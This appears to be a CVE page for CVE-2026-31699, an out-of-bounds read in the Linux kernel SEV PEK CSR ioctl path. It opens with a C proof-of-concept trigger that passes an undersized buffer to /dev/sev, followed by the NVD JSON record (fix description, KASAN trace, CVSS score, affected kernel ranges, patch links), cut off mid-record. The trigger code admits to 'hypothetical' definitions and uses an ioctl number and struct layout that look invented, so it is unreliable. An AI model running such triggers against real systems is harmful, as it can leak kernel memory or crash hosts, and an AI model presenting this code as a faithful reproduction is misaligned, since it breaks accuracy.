CVE-2026-31699

#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> // Hypothetical definitions based on typical kernel structures #define SEV_PEK_CSR 0x1 struct sev_user_data_pek_cert { __u64 address; // Address of userspace buffer __u32 length; // Length of the buffer }; int main() { int fd = open("/dev/sev", O_RDWR); if (fd < 0) { perror("Failed to open /dev/sev"); return -1; } // Allocate a small buffer to trigger the invalid length error char *small_buf = malloc(1); struct sev_user_data_pek_cert data; data.address = (__u64)small_buf; data.length = 1; // Intentionally too small printf("Triggering CVE-2026-31699 with buffer size 1...\n"); // This ioctl call is expected to fail in firmware, but the driver // may erroneously attempt to copy more bytes than allocated. ioctl(fd, SEV_PEK_CSR, &data); free(small_buf); close(fd); return 0; }

{"cve": {"id": "CVE-2026-31699", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-01T14:16:19.777", "lastModified": "2026-05-06T19:04:51.727", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ncrypto: ccp: Don't attempt to copy CSR to userspace if PSP command failed\n\nWhen retrieving the PEK CSR, don't attempt to copy the blob to userspace\nif the firmware command failed. If the failure was due to an invalid\nlength, i.e. the userspace buffer+length was too small, copying the number\nof bytes _firmware_ requires will overflow the kernel-allocated buffer and\nleak data to userspace.\n\n BUG: KASAN: slab-out-of-bounds in instrument_copy_to_user ../include/linux/instrumented.h:129 [inline]\n BUG: KASAN: slab-out-of-bounds in _inline_copy_to_user ../include/linux/uaccess.h:205 [inline]\n BUG: KASAN: slab-out-of-bounds in _copy_to_user+0x66/0xa0 ../lib/usercopy.c:26\n Read of size 2084 at addr ffff898144612e20 by task syz.9.219/21405\n\n CPU: 14 UID: 0 PID: 21405 Comm: syz.9.219 Tainted: G U O 7.0.0-smp-DEV #28 PREEMPTLAZY\n Tainted: [U]=USER, [O]=OOT_MODULE\n Hardware name: Google, Inc. Arcadia_IT_80/Arcadia_IT_80, BIOS 12.62.0-0 11/19/2025\n Call Trace:\n <TASK>\n dump_stack_lvl+0xc5/0x110 ../lib/dump_stack.c:120\n print_address_description ../mm/kasan/report.c:378 [inline]\n print_report+0xbc/0x260 ../mm/kasan/report.c:482\n kasan_report+0xa2/0xe0 ../mm/kasan/report.c:595\n check_region_inline ../mm/kasan/generic.c:-1 [inline]\n kasan_check_range+0x264/0x2c0 ../mm/kasan/generic.c:200\n instrument_copy_to_user ../include/linux/instrumented.h:129 [inline]\n _inline_copy_to_user ../include/linux/uaccess.h:205 [inline]\n _copy_to_user+0x66/0xa0 ../lib/usercopy.c:26\n copy_to_user ../include/linux/uaccess.h:236 [inline]\n sev_ioctl_do_pek_csr+0x31f/0x590 ../drivers/crypto/ccp/sev-dev.c:1872\n sev_ioctl+0x3a4/0x490 ../drivers/crypto/ccp/sev-dev.c:2562\n vfs_ioctl ../fs/ioctl.c:51 [inline]\n __do_sys_ioctl ../fs/ioctl.c:597 [inline]\n __se_sys_ioctl+0x11d/0x1b0 ../fs/ioctl.c:583\n do_syscall_x64 ../arch/x86/entry/syscall_64.c:63 [inline]\n do_syscall_64+0xe0/0x800 ../arch/x86/entry/syscall_64.c:94\n entry_SYSCALL_64_after_hwframe+0x76/0x7e\n </TASK>\n\nWARN if the driver says the command succeeded, but the firmware error code\nsays otherwise, as __sev_do_cmd_locked() is expected to return -EIO on any\nfirwmware error."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.16", "versionEndExcluding": "6.6.136", "matchCriteriaId": "0A32447F-A6C2-4D97-8B3B-EB4280574173"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.84", "matchCriteriaId": "D4ECA0DE-AFF5-4688-B219-4CA2336CA5B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.25", "matchCriteriaId": "8B0A7E0E-F6D8-45DB-8CD9-01839FE40A6C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "7.0.2", "matchCriteriaId": "1BD58F1E-7C20-4C0D-92A2-FAC5CBFBE8A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.1:rc1:*:*:*:*:*:*", "matchCriteriaId": "B1EF7059-E670-45F4-B422-54C40FA86390"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.1:rc2:*:*:*:*:*:*", "matchCriteriaId": "0D38F0BF-A728-4133-A358-D44A2F7EE6D6"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/111dcc6d0f016076745824a787d25609d0022f4c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/3b4fd8f15765d9a3105b834dba8a05d025e5e16e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/59e9ae81f8670ccc780bc75f45a355736f640ec9", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/607ba280f2adb5092cf5386c3935afac2ca0031a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "t ... (truncated)